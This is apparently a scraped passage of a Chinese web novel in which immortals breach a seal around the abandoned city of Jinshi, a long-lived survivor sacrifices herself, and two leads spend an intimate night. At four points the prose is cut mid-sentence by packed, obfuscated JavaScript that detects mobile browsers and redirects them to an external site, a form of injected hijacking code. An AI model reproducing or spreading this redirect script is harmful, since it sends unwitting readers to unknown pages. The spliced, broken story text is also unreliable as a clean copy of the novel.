虽然常瀞的语气和态度很随和,但毕竟是大了自己不知道多少轮的前辈,冉愉心里还是有一丝惊慌,就像是被师长抽背课文的那种惊慌。等慌完了他又有些茫然,他明明是个对待功课一丝不苟的好学生啊,这种很熟悉的惊慌感从何而来。 他定了定神,将这些杂念清除出去,讲起他查到的一些往事:“秘境之后,我回到太虚山便开始查冉松鹤宗主的旧事。在宗门的记载中,冉松鹤确实只有一个徒弟。但是,你们也知道冉宗主是太虚山历代最有名望的宗主,哪怕是其在任期间,也不乏有狂热,呃比较崇拜冉宗主的人。其中有一位写了一本详尽地冉宗主起居录,我在藏书阁发现后,便花了三天时间细细看完……” 郁离愣住,三天才看完,这起居录是得多厚,这人是扒在冉松鹤腿上吗,走到哪跟到哪,竟能写那么细。 冉愉接着道:“谁知这一看,还真叫我看出些端倪。在我的刻意寻找下,我发现这本起居录中,前后两部分的记载有些细微的区别,前面的部分堪称事无巨细,后面的记录在一些地方却会让人觉得衔接不上,就像是被无端删去了一些内容。而这前后两种差别的分界线,是一桩平平无奇的小事,在冉宗主出任太虚山掌门之位的第二年,他代表宗门前去佛教圣地交流,并且在那里闹了些不愉快。” “不愉快?为什么?”郁离问。 “不清楚,起居录里没有记载。”冉愉顿了顿,“但重点也就在这里,他去的是佛教圣地,这与与秘境之中的佛教圣树无忧树恰好对应。” 感到周身有了暖意,常瀞停止向火堆里添柴,捏捏鼻梁:“看来我们在秘境里看到的东西是真的了,还是觉得难以置信啊。说到这里,从秘境出去后,我也回上清境查了查,不过什么都没查到,上清境的藏书阁里都是些功法,没有史书。这件事代表的意义太大了,我也不敢随意向人打探,而且看秘境壁画上记载的年代,上清境里的人早不知道换了多少批了。” “我更没有地方查了,也没有新线索。”郁离摇摇头。 常瀞叹气:“行吧,那先到这里,我们各自再查查。” …… 另一边,上清境。 姬润一踏进上清境,便夸张地垮下了肩膀,无他,上清境实在是太暖和了。他眯起眼,沐浴在上清境和暖的阳光下,感觉在北境被冻僵的四肢正在缓缓舒展。 “呦,回来啦,都顺利吧,常瀞人呢?”山旭剔着牙路过。 姬润一个激灵,想起自己是为什么回来,抛给山旭一句话,就匆忙往正法殿去了:“还算顺利,还有事找天尊,先走了。” 山旭摸摸头,没明白他的意思。顺利就是顺利,什么叫还算顺利? 姬润在正法殿门外,收起暖炉,顺了顺气,才抬脚走进去。 恰好,天尊湛昀此时就在殿内。听姬润禀明事情的经过和他们的诉求,湛昀眉头越皱越深,搭配上湛昀那张娃娃脸,姬润有种诡异的错觉,好像他们在为难小孩。 湛昀背着手在高台上来回走了几圈,总算停下,他告诉姬润:“此事到此为止,金石城不用你们管了,都撤回来吧。” “可是天尊,为什么?”姬润惊讶。 湛昀淡淡道:“你该听说过,金石城一直是我和谢榕在负责。我确定,金石城不会出任何事。” “可那些魔物——” “你不信我?” “不敢……” “那就不用再说了,让他们都快点撤回来吧。” 天生一张娃娃脸,再加上和气的性子,让众人无论如何都很难将湛昀和上清境天尊联系在一起。可当下湛昀一反常态,忽然强势起来,却让姬润明白了,天尊终究是天尊,他在湛昀不加掩饰的威压下,只能避退。 盯着姬润退出正法殿,确定他不会折返后,湛昀绷紧的脸放松下来,长舒一口气。 “又叹气,瞧你,白头发都快藏不住了,还叹气。”一个人影从屏风后绕出来,走到他旁边,“万事皆有定数,金石城终是藏不住的,您为何不试着相信他们一次呢。” “星悬,这件事太大了,就算是你算出来的,我也不敢轻易相托。”湛昀抿唇。 祝星悬嗔他一眼:“说到底,您就是不信我。我这次可是又起了一卦,卦象显示,可能冲破黑暗的唯一变数,就在金石城外那两人身上,或许挡在上清境一代又一代人头上的乌云呐,真的快要散了。” 湛昀听到她说又起一卦,急道:“你为何不与我商量!这一次是那一感没了!” 祝星悬依旧闭着眼睛,她仰头望向天空,明明头上还有一方屋顶遮盖,她却好像透过眼皮,透过屋顶,透过那不曾显现的乌云,看到了其后的真实。她精准地找到湛昀的方向,冲他笑笑:“放心,只是味觉。而且,你又是不是不知道,能算出这等卦象的时机,玄之又玄,感受到了可不就得立刻起卦呀,哪还顾得上商议。” “星悬……”湛昀攥紧手掌。 祝星悬和他在飞升前就相识,他们一同出自西域一大国。湛昀是那个国家的皇子,天赋出众,一心只有修炼。祝星悬还在襁褓中,就被上一任圣女从民间带回,当做接班人教导。两人都被上清境选中,湛昀在前,祝星悬在后,在当时轰动了整个西域。 因为自幼相识,湛昀知晓在祝星悬上清境第一卦师的名号是如何来的。是她被关在漆黑不见日的塔里,塔里除了她,只有数不清的龟甲和铜钱,期间一次一次强行封闭五感,以求和卜卦之物达到心灵相通换来的。 她有多渴望光明、声音、芬芳……,湛昀全都知道。本以为进了上清境,一切就都好了,可这前后两次起卦,终究代价太大。 “安啦安啦,都当了六百年天尊了,怎么还和没飞升前一个样。”祝星悬向他挥挥手,拄着她五颜六色的手杖走了,“我先回去啦,答应我,若他们能解决金石城的遗患,就对他们和盘托出。” 看着祝星悬远去的背景,湛昀又是长舒一口气。半晌,他下定决心,叫来仙侍,吩咐道:“去找谢榕来,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118459|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有话要跟他说。” …… 金石城外。 “什么!”常瀞扬声,甚至惊飞了林中鸟,“天尊让我们撤走?!” 姬润的声音从传音水镜中传出来,变得格外朦胧:“他就是这样跟我说的。” “不是!为什么呀,天尊什么都不说就让我们走,如何有这样的道理!”常瀞的声音又拔高了几分,他忽然回想起虞府里那个魔物曾暗示他上清境有内鬼。不会吧,无论如何都不会是天尊吧,不然这还怎么打。 他猛地摇摇头,强行按下了心中的念头,但那魔物不愧有两把刷子,怀疑的种子已然种下。 重寒酥:“不应当啊,天尊从未这般强硬过,而且连句解释都不给。” 诸游一拍大腿:“这城里绝对有猫腻,你们天尊是不是心里有鬼啊。” 郁离制止:“慎言。” 诸游嘀咕:“随便说说而已,他又听不见。” 姬润询问:“那接下来怎么办?当真撤走?” “偏不,我非得进去看看。”常瀞一笑,望向其他人,“你们呢,是走是留。” 结果如他所料,从浦黎城过来的所有人都坚定地表示不会离开。 “我就知道。”姬润的笑声也传过来,顿了顿道,“不过我一时半会儿还没法去找你们,方才山旭来找我,说咱们不在的这段时间,上清境陨落了三位小仙,而且是突然陨落,原因到现在还未查明。山旭害怕得紧,非拉着我陪陪他,刚好我也觉得奇怪,想等等这件事的结果。” “又是突然陨落?”重寒酥惊道。 常瀞:“从前也有?” 重寒酥回忆:“我飞升比你们都早,我刚飞升时,听上清境的老人讲,之前也有过几位小仙集中陨落的事情,因为飞升后陨落的仙不会留下尸体,想要调查很难,所以查到最后,只能不了了之。” 郁离问:“是什么时候?” 重寒酥呼吸一滞:“好像正,正是金石城出事的那段时间。” 毫不相干的两件事,能算做是巧合吗,郁离想。 姬润:“看来上清境这边我得多留一阵了,那你们先继续找金石城的办法,有任何发现,我们再联系。” 传音水镜断开连接后,火堆旁安静了好一会儿,期间只有木柴燃烧的“噼啪”声。 常瀞率先打破沉静:“我想起我这里有本收录各类封印的书,大家看看有没有帮助。” 重寒酥好奇接过,诸游和冉愉一左一右凑在他身旁看。 “这么厚一本,这书哪来的?” “竟还是手抄版,字不错。” “就是这图画得差点儿意思,瞧着线抖得,真是一大败笔,可惜呀。” 常瀞本在喝水,被他们说得差点儿呛到:“我谢谢你们,此书仅此一本,都是我花了很长时间,一页一页总结的。” 重寒酥&诸游&冉愉:“……” 重寒酥&诸游&冉愉:“抱歉。” 郁离闻言立刻看向常瀞,这本书,是他为了解开碧影山的结界,慢慢收集的吗。 常瀞感受到郁离投过来的视线,冲他一笑,借着火光的遮掩,握住他的手,轻轻摇了摇。 没事儿,都过去了,重要的是,我们现在在一起。 57. 金石(三) 夜色沉沉,他们都有了困意,在商量完守夜的顺序后,纷纷躲进帐篷里睡觉。夜里的风实在刺骨,虽然帐篷只有薄薄的一层布料,几乎挡不住风,但是聊胜于无。 第二日清晨,河面上荡着白色的雾气。郁离早早醒来,钻出帐篷,和负责守最后一班夜的重寒酥四目相对。 重寒酥合上常瀞的大作,看向他身后:“这么早,常瀞没起?” 郁离点点头,坐到他身旁拨动还在燃烧的火堆:“没呢。” 重寒酥把书递给他:“那你看会儿?我去林子里把褚游找回来。” 郁离意外:“他也起了?” 重寒酥随意点了下头,往树林走去:“我刚和冉愉换完没多久,他就起了,说是睡不着。” 郁离默默咂舌,什么睡不着,就是想陪你罢了,褚大哥爱睡懒觉的程度和常瀞比起来不遑多让。 他感慨完爱情的力量,伸了个懒腰,开始翻手上的书。这本书他昨夜只在守夜时翻了翻,还有一大半没有看。现下天色微亮,视线比夜里好了太多,他在偶尔传来的几声鸟鸣里,静静翻看。 他一边寻找书中有无和金石城封印类似的例子,一边细细摩挲常瀞的笔迹,猜想着常瀞当时为了收录这些,读了多少本书,走过了多少地方,在他写下这一笔时的心情又是怎样的。 郁离心里一片酸涩,不知不觉看了许久,看到天色大亮,看到陆陆续续大家都醒了。在书的最后几页,他忽然发现,一个未被命名的封印和金石城城外的十分相像。 他举起书册,颠来倒去地看,终于确认,这或许就是同一种封印。至于为何还要加上“或许”二字,常瀞的画工要占五成责任。 只是郁离没想到的是,他把大家都叫过来想一起再辨认一下的时候,大家的态度很是奇怪。 重寒酥:“我守夜的时候也看了这一页啊,我怎么没发现?” 褚游:“不是?你怎么看的,我怎么还是看不出来?!” 冉愉:“是啊是啊。” 沙十七:“……我也没看出来。” “一个个都什么眼神儿?”常瀞先是气愤地嘴硬,坚持不承认是他画得不好,随后把有些无措的郁离一把搂过,仰头道:“这都是因为我们心灵相通,此书只写给有缘人!” “行了。”郁离不好意思,推了他一把,“先来看看解开封印的办法吧。” 关于这个封印的记载相当少,常瀞记下的内容只有寥寥几行,不过和解开封印相关的办法倒是有三条。 第一种,暴力破除。郁离无语,这记了和没记一样,能暴力破开,他们早干了。 第二种,此封印较特殊,设下时,需要被封印之人的血脉,若能得被封印之人的血脉,可从外进入。郁离继续无语,创下此封印的当真是人才,被封印的人都被困住了,外面的人还从哪去搞他的血脉,而且,就算进去了,不还是和里面的人一样被困住。 第三种,去找设下封印的人。郁离疯狂无语,天尊要能同意,他们至于在河边受冻吗! 褚游自从得知他们鸡鸣巷的小白菜被常瀞给拱了,就对他不再有好脸色,当下便嘲讽道:“星君,您这几条记了和白记一样呢。” 常瀞也郁闷:“那我当时记下来的时候,就只有这些。” 重寒酥:“目前看来,能下下功夫的,只有前两条了。” 常瀞:“第二条不行吧,金石城里的人当年不是几乎全灭吗,先不说现在外面能不能找到金石城的后人,就算找到了,这么多年过去,血脉也稀薄的不剩什么了吧。” 事情又陷入了僵局,郁离叹了一口气,站起身,准备再去封印前面转转。 “……你们的意思是,只要有金石城人的血脉,就可以进去了吗?”从浦黎城出来后就一直沉默的沙十七忽然开口。 郁离心头一跳:“你……” 沙十七声音沙哑,毫不犹豫道:“用我的吧。” 褚游脸上写满了不解,连珠炮似地问:“你的意思是你是金石城里的人?你怎么从封印里出来的,难道这封印其实是单向的?” “我是金石城的人,但我从金石城出来的时候,还没有这座封印。”沙十七深吸一口气,缓缓道:“抱歉,我骗了你们。你们口中的五百年前魔物为祸金石城,我就是那场祸乱的亲历者。” 重寒酥:“什么?不可能,你怎么可能活这么久?!” 沙十七垂下头,手指颤抖,开始解脸上和缠在手上的绷带,绷带一圈一圈落在地上,露出了她的真容。沙十七的皮肤呈现出不正常的青紫色,其上裂痕状伤口纵横交错,伤口边缘外翻泛白,却不见血迹。简言之,除下绷带的她,看起来就像是一具尸体,只是她可以走动,可以说话,可以眨眼。 “?!” 沙十七苦笑:“这就是我隐瞒你们的事情。我从来都不是个幸运的孩子,投壶总是扔不准,放风筝永远飞不起来,抽签从未抽中过大吉,所以当魔物肆虐金石城时,我怎么会没有被咬伤呢。不过,我好像又是特别幸运的,因为我的爹娘,我的哥哥,我的同伴,我认识的所有人,只有我被咬了以后,没有失去神志。” “这也就是我被回春堂的人带走的原因,他们想知道为什么我明明身体已经变成尸体了,神志却会保留下来。我被关起来很长时间,他们想尽办法在我身上做各种实验,可是都没能找到原因。后来他们放弃了,但是又不舍得让我彻底死去,就留我在身边做个打杂的。我假意顺从,假装忘了自己的过去,一步步往上爬,直到遇见你们。” 郁离难以置信她一个人在仇人的阵营里蛰伏了五百年,但摆在眼前的事实就是如此,他不得不信。 沙十七站起来,蹬掉身上挂着的几根绷带,率先朝金石城方向走去:“走吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15132963|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可常瀞按照书上的方法,找到封印的薄弱点,恰好就在城门前。他提笔用朱砂在封印上画完一个小阵法,又开始犯难。沙十七现如今的状态,可以说是一具陈年干尸,哪里来的血可用。没血可用,用肉是否可以代替,能代替的话,用多用少又该如何把握。 沙十七也不纠结,洒脱地掏出她那把秀气小刀,手起刀落,割掉了自己的一只手掌。 郁离眼睛眨了眨,偏过头去。常瀞虽然猜到她应当是没有痛觉,但是还是缓了一会儿才接过那只手掌。 他把那只枯瘦的手掌轻轻放进阵中,手掌悬空,阵内立时起了变化,有血色晕开,染红了那一片封印,紧接着,封印上裂开了一道细小的缝隙。随着缝隙逐渐变大,阵内的手掌也逐渐消融。很快,手掌消失了,缝隙裂开的大小却仅能容一只猫出入。 见此情形,沙十七毫不犹豫,皱着眉又割下一只胳膊。缝隙终于开到半人高,若蹲下身,勉强能过一人。 怕缝隙再合上,常瀞果断矮身钻过缝隙。郁离紧随其后,可他刚踏出一只脚,还未落地,封印的缝隙又开始急速缩小,匆忙之下,他只好收回脚,没能跟着进去。 “还是不够吗?”沙十七愣住。缝隙缩小的速度太快了,一只胳膊才勉强让一人通过,如果是这样的话,那只能…… 她回头,对他们笑了笑:“我连求死都做不到,捅自己多少刀都死不了,早就活够了。能在这里迎接彻底的死亡,对我来说,已经是最好的结局。” 郁离一怔,明白过来她要做什么,本想拦她,听完她的话,又停下脚步。 “祝你们一切顺利,我也,终于可以去找我的家人啦。”沙十七挥挥手,转身走进阵中。 她清楚地感受到肢体在消融,并且还久违地体会到了一丝痛楚。沙十七在一片模糊中睁大眼睛,她好像看见了儿时的自己,正在院子里和哥哥丢沙包,阿娘坐在檐下补衣服,阿爹背着木柴恰好推门而入…… 封印上的缝隙越来越大,还在外面的人都沉默着迅速通过。郁离最后一个踏进封印,再回头时,只看到一双眼睛,一双清澈的眼睛。 天上此时落下了些小雪,郁离伸出手接了一片雪花,雪花在他的掌心上停留了一段时间,才开始缓慢融化:“走吧,我们先进城。” 说来也奇怪,只是跨越了一道结界,从结界外和结界里看金石城给人的感觉完全不同。从结界外看,金石城是阴森幽暗的,很符合荒城的刻板印象,但是真正走近结界,却发现金石城和普普通通的任何一座城都没有区别。 高大的城墙上砖石干净,没有血迹,没有青苔。只有紧闭的城门和城门前架在河上的一片断裂浮板提醒他们,这里确实是那座历经过尸山血海的金石城。 城门留有一道能透出光的缝隙,郁离双手按在城门上,微微用力,城门竟然就这样轻而易举地被推开。 58. 金石(四) 城门被推开的瞬间,郁离先听到的是声音,非常嘈杂的声音。可是这里不是荒废了吗,为何会有人的声音。他如此想着,城门里的景象便映入眼帘。 城门前的一大片空地上,堪称是一个小型集市,各色摊位林林总总摆出好几排,买东西的和卖东西的人填满了这一片空地,趁着雪未下大,每个人都在抓紧时间讨价还价。 因为贴着城门和城墙也摆了一排摊位,城门缝这里自然也堵着一位摊主。这名摊主是位中年男子,门被打开的时候,他正撅着屁股喜滋滋摆他的土豆,每颗土豆上都带着些泥,一瞧就新鲜。门这一开,摊主的屁股恰好被撞了一下,一颗土豆脱手而去,不知滚到了哪里。 摊主一脸莫名转头,隔着门缝和郁离来了个四目相对。 “来点儿?”摊主的卖货意识犹存,被撞了也不生气,他举起手中的土豆向郁离展示,随即又明白过来撞他的东西是金石城早已成了摆设的城门,惊恐地大叫起来,“不是?!你!你是怎么进来的!谁让你把城门打开的!” 郁离:“……” ……啊?城门不就是用来开的吗? 城门前的人被摊主这一叫,纷纷看了过来,随后都露出了惊恐的表情。于是在一片“把门关上”“进来进来”的混乱叫喊声中,郁离他们迷迷糊糊地选择了听从这些人的意思,他们怕城门开大会影响到更多的摊主,只好一个接一个从这道窄窄的门缝挤过去。 看城门重新关紧,金石城里的人松了一口气,郁离的心却又吊起来。这群突如起来出现在一座荒城里的人着实诡异。 金石城里的这群人同样也在观察他们,不过相比郁离一行人,他们打量的目光中,好奇远大于警惕。 终于,那名最先和郁离四目相对的摊主支支吾吾开口了:“你们……从哪来啊?” 郁离:“从……呃,外面。” “瞧我问的,那只能是从外面来。”摊主一巴掌拍在自己脑袋上,自我介绍道,“我叫党半山,就是这金石城人。” 郁离的回答丝滑了许多:“我们五人是朋友,结伴而行路过此地,这会儿下着雪,看有座城便进来避避。” 党半山哦了一声,没等他继续开口,斜前方摊位上的小男孩大声道:“你说谎!城门外明明就有结界,出不去也进不来!” 小男孩喊完,金石城这些人目光中的警惕明显多了起来,许多人开始点头附和。 常瀞走到小男孩面前,右手一晃,变出颗糖果笑着递给小男孩:“我们出身仙门,会腾云驾雾那种,所以才能进来。” 小男孩接了糖,声音低下来:“真,真的?” 常瀞又塞了一颗糖给一旁被大人抱着的小姑娘:“真的。” 这一下,原本开始紧张的气氛又缓和下来。金石城人戒心大大降低,七嘴八舌开始问起城外的世界,在得知与城内差别不大后,很是唏嘘。 与此同时,他们也套出了金石城内的真实情况。原来当年魔物血洗金石城,城内的百姓并未如史料中记载幸存无几,而是活下来近半数人。来救金石城的仙人告诉他们,金石城恐仍有后患,为了城内百姓的安全,恳请他们留在城内,并设下了这道结界保护他们。 当年金石城活下来的那批人,经历惨剧,慌乱无措,面对救命恩人的恳求自然点头同意,况且金石城是他们的家乡,现下危机解除,没有人愿意远走他乡。时间一点一点过去,金石城外的这道结界锁住了城内的人,也隔绝了城外的人。 好在金石城自古受地形所限,城内人本就少有喜爱出城的。唯一因傀术和外界做生意打交道多的袁家,也在魔物来袭时,最先挺身迎敌而灭族。袁家没了,傀术没了,生意自然也没了。这一来,昔日富庶的金石城反而恢复了早先的耕种传统,自给自足,城内的百姓就在这封闭的金石城内避世而居,直至今日。 当然,五百年间,也并非没有人动过出城的心思,只是受结界所困,再加上城外一眼望不到边界的连绵雪山,还有雪山中野兽的嚎叫,最后都在身边人的劝导下歇了心思,乖乖回家种地。 雪越下越大,城门口聚集的人渐渐散了。金石城这么多年和外界没有交集,自然也就没有客栈这类能让他们落脚的地方,倒是有不少热心人想让他们去家里住,只是家中都太小,无法一次性接待他们五人。毕竟城中情形不明,他们犹犹豫豫,不是很愿意分开住。 最后还是郁离一开始撞到的憨厚土豆摊主党半山,叫住他们:“我家中才盖了新房,准备为女儿招婿,挤挤能住下,你们来吗。” 他们自然同意。 党半山收起摊子,领着他们向城内走。一路上,他们又得知了很多信息。党半山告诉他们,当年金石城活下来的人重新规划了城内的布局,舍弃了很多不必要的场所,家家户户留足了耕种的土地,城门口这样大片的空地,浪费可惜,更是用来当做了交易集市。五百年来,人口变化不大,城市格局就这样保持下来。 走了许久,走到他们身上都落了薄薄一层雪,才来到城中心,党半山遥遥指着金石城正中心的一座祭坛道:“那儿就是我们的先祖为了感谢仙人而建的祭坛,里面还塑了他的像,要去看看吗?雪太大了,去那还能缓一缓,到我家还有一段路呢。” 他们跟着党半山来到祭坛下。相比起金石城内略显紧凑的土地布局,面前这座祭坛的用地可以说是给得相当豪迈了。汉白玉的石阶三层九级,其上攒尖顶祭坛精致雄伟。 党半山将装着土豆的包袱放在石阶下,仔细地掸去身上的雪,才带着他们进祭坛。一进祭坛,先看到的是一层一层的长明烛,烛火安静的燃烧,身上不由暖和了起来。然后才是汉白玉雕成的巨大塑像,塑像微微垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15172984|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首,慈悲地俯瞰来人。 常瀞和重寒酥看清塑像,对视一眼,即使已经有了心理准备,仍免不了一愣。 这塑像雕的,正是天尊湛昀。 党半山环视一圈,小心替换掉角落里一根即将燃尽的长明烛,跪在蒲团上拜了一拜,然后才起身,招呼他们去墙角的桌椅那儿歇歇。 郁离不解:“这儿为何会有桌椅?” 党半山:“供人休息的。” 郁离仍然不解。 党半山拍了下脑袋:“害,瞧我,你是不是奇怪,明明我们对仙人很恭敬,为何还要放这等明显不该出现祭坛里的东西。” 郁离点头。 党半山:“是仙人让放的,他有次看到上了年纪腿脚不好的老人,颤颤巍巍被人扶着来祭坛,劝说不听,就在里面放了套桌椅,让他们缓口气儿。而且仙人人很好,他不在意这些虚礼的。听老一辈人说,金石城规划时要建祭坛,为他塑像,仙人还阻拦哩。” 常瀞惊讶:“你是说,他后来还来过金石城?!” “当然,不过仙人不常现身,我也只是在六七岁时见一次。好家伙,那通身的仙气,见过一次就难忘。”党半山摸摸头,咧着嘴又补了一句,“就和你们一样。” 褚游瞪着眼睛,重寒酥附在他耳边,小声解释了上清境天尊和眼前这尊塑像的关系,他才明白过来。 上清境是所有修仙者向外的地方,冉愉听得津津有味,还多问了几句。 党半山哈哈一笑:“仙人真没有半点架子,我们都很喜欢他,小孩子也经常来祭坛玩,我的小女儿就是,每天都要来祭坛玩一圈,风雨无阻。” 见外面的雪小了,他们抓紧时间离开祭坛,回到党半山家。如党半山所说,他们家的院子里盖了两栋三间瓦房,一新一旧,瓦房之间是一方小院。新房才盖好,还没有住人,但是里面的家具大致齐全了,党半山大方地让他们住进新房。 旧房住着党半山一家,党半山和他媳妇儿,还有他们的两个女儿,党喜和党悦。听说来人出身仙门,党半山的媳妇儿很高兴地接待了他们,党悦也很开心家里来了几个仙气飘飘的大哥哥,围着他们转前转后。只有党喜,目光阴沉,对他们点了点头,就拄着拐杖回自己房间去了。 党半山递上茶水,有些尴尬:“那是我大女儿,伤了腿后就成日这个样子,不是针对你们。” 一餐饭吃完,外面的雪又大了起来。在这种天气出门在城里乱转,太过惹眼,他们只好待在党半山里,等待雪停。可这雪一下就是一天,到了晚上,仍未停歇,外出探查的计划只得作罢。 常瀞闹着和郁离住了一间,熄了灯,他们窝在被子里。窗外的雪簌簌下着,枕边人的身上传来源源不断地热意,恍惚间,郁离以为是回到了那年冬天碧影山的小竹屋里。 无比安心。 59. 金石(五) 两人面对面躺着,常瀞手放在郁离脸上,有一搭没一搭地轻轻摩挲。 郁离很长时间没有在人前摘下面具,还有些不自在,在常瀞越来越炽热的视线中向后躲了一下。 “躲什么。”常瀞一把扣住郁离的腰将人拉回来。 这一下,距离更近了,两人的鼻尖几乎都快要贴上。 郁离感觉脸颊腾起了久违的热意,头一低,撑上常瀞胸膛想要拉开距离:“太,太近了。” 常瀞:“近吗?我怎么不觉得?我倒很喜欢与你这样呢。” 郁离:“……” “好了,趁着此刻无人,还想和你聊聊这金石城呢。”常瀞一笑,主动拉开些微不足道的距离,手却仍在郁离腰上放着。 “喔,你说。” 常瀞正色道:“你相信这些人口中的话可信吗?” 郁离想了想:“感觉这些百姓都挺真诚,我分辨不出有什么问题。就只有他们困在这城中五百年,这一点,让我实在难以置信。可细细想来,若是上清境在这期间一直提供帮助,倒也不是不可能。” 常瀞摸到郁离腰间的软肉,一下一下捏着,玩得乐此不疲:“在理。我是在想天尊口中金石城的隐患是什么,五百年了,他一次又一次亲自现身金石城都没能解决?魔物在回春堂做的丹药又和金石城有什么关系?我和寒酥在城里可没感知到半点魔气。” 郁离忍着痒意:“你是不是想说,青山镇虞府那魔物暗示上清境有内鬼的事。” “嗯啊。”常瀞叹口气,翻个身,头挨在郁离肩上,“那晚姬润传回消息时,我几乎以为就是天尊了,可今日进城所见所闻,又好像不是那么回事儿。我想不明白,他若与魔物没有干系,为何不让我们进来?又在隐瞒什么?” “等雪停了在城里转转吧。” “说的也是,躺在这儿光靠想也想不出来。”常瀞又一个翻身,扬起笑脸,盯住郁离的唇,“我感觉你还是没习惯我们如今的关系,不如我来帮帮你。” 郁离睁眼,还没明白他忽然之间转换的话题,就被常瀞凑上前,含住了唇:“唔——” 此刻距离本就很近,常瀞一手捧住郁离的头,轻轻吮吻。略微干燥的唇瓣被濡湿,郁离头晕晕的,很快被带动起来,开始回应常瀞。渐渐地,仅靠双唇相贴已经满足不了心底升起的躁意,在换气之间,郁离怯怯启唇,探出舌尖勾了一下常瀞。 主动邀请,岂能坐视。常瀞含住那截舌尖,乘胜追击,闯入郁离口中肆无忌惮。他的手不知不觉也移到了郁离后颈,配合着揉捏。 郁离喘不过气,推他。 双唇短暂分开,常瀞给郁离留足换气的间隙,又黏在一起。吻着吻着,他直起身半压在郁离身上,手也不老实地顺着腰背向下。 郁离被他摸得浑身发软,几乎揽不住常瀞的脖子。他手刚一松,常瀞舔了下他的下唇,便开始顺着下巴往下亲,一路亲到脖颈。衣摆下常瀞的手不知钻到哪里,郁离轻吟出声,难耐地扬起头,平日里严严实实的领口被扯散,露出一小截泛着光的金色。 “嗯?”常瀞声音喑哑,将郁离的衣领又扯开了一些。只见一条金色细链在郁离的白皙的颈子上绕了三道,松松垮垮搭在胸口,他眯起眼睛辨认了片刻,认出是和自己手腕上同一对的金链,“我说送你怎么没见你戴手上呢?原来藏在这儿啊,这么宝贝。” “送我了……就是我的,我想怎么戴就怎么戴。”郁离理直气壮,想把敞开的衣襟合起来,又被常瀞扒开。 “我就随便说说,不过宝贝儿,你给了我灵感,我觉得缠腰上能更好看。”常瀞一手撑在床上,拈起金链,盯着郁离衣襟下隐约露出的一截细腰,兴致勃勃,“来试试?” 变!变态! 郁离大惊,忙向后撤,却被一把按倒。 第二日,清晨。 郁离被窗外刺眼的阳光晃醒,他支起身准备起床,推了两下常瀞横在他腰上的胳膊才推开。 常瀞“哼唧”一声,翻过身继续睡。 下了一夜的雪终于停了,郁离推开门,地上的雪已经积了很厚。外面格外明亮,他眯起眼缓了一下才适应。 他刚迈出一步,一道小小的身影忽然出现,挡在他身前。是党半山的小女儿,党悦。 党悦厚实的冬装上有几块被雪浸湿的印记,一看就是从哪刚疯玩回来,她拦住郁离的去路,眨着天真无邪的眼睛,仰头脆生生问道:“我听阿爹说,你们和金石城的仙人一样,是从天上来的,是吗?” 郁离不擅长和小孩子打交道:“……是。” 他答的也不算错,常瀞和重寒酥本就从上清境而来。 党悦瞄了眼郁离身后的屋子:“里面的哥哥还在睡,仙人也会赖床吗?” “呃。”郁离僵住,脑中飞速闪过无数种回答,灵机一动,找出一个不会给小孩子起到错误示范的好解释,“里面的哥哥昨晚修炼到很晚,所以才赖一小下床,早睡早起才是好孩子应该做的。” 党悦若有所思,也不知道听没听明白郁离的苦心,她又问:“那你知道仙人哥哥什么时候还会再来呢。” 仙人哥哥?是指天尊湛昀吗? 郁离蹲下身道:“你是问金石城供奉的那位仙人哥哥吗?” “是!” 这金石城的孩子们是真挺喜欢天尊,她爹党半山没说错。 郁离不忍打击小孩儿的积极性,想了想,给出一个模棱两可的回答:“你好好长大,也许就能见到他了。” 党悦眸子暗了暗,又缠着郁离问了几句,才蹦蹦跳跳地跑开。 看着小孩儿成功跑回屋里,没有滑倒。郁离叹口气,转身回去叫常瀞起床。 喊常瀞起床自然没那么容易,一通拉扯纠缠后,郁离倒在凌乱的被子上微微喘气,总算把常瀞哄起了床。 大清早就占到便宜,常瀞心情极好,坐在镜子前面束发,嘴里甚至哼起了不知名的小曲儿。 见他束发,郁离想起什么,磨磨蹭蹭走到常瀞背后,截住了他正要戴的金丝发冠。 常瀞不解,回头望着他。 郁离摸出一个白玉簪,玉簪一端是一牙萦绕着竹叶和流云的弯月,递给他:“用这个吧。之前答应要给你做件发冠,一直没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 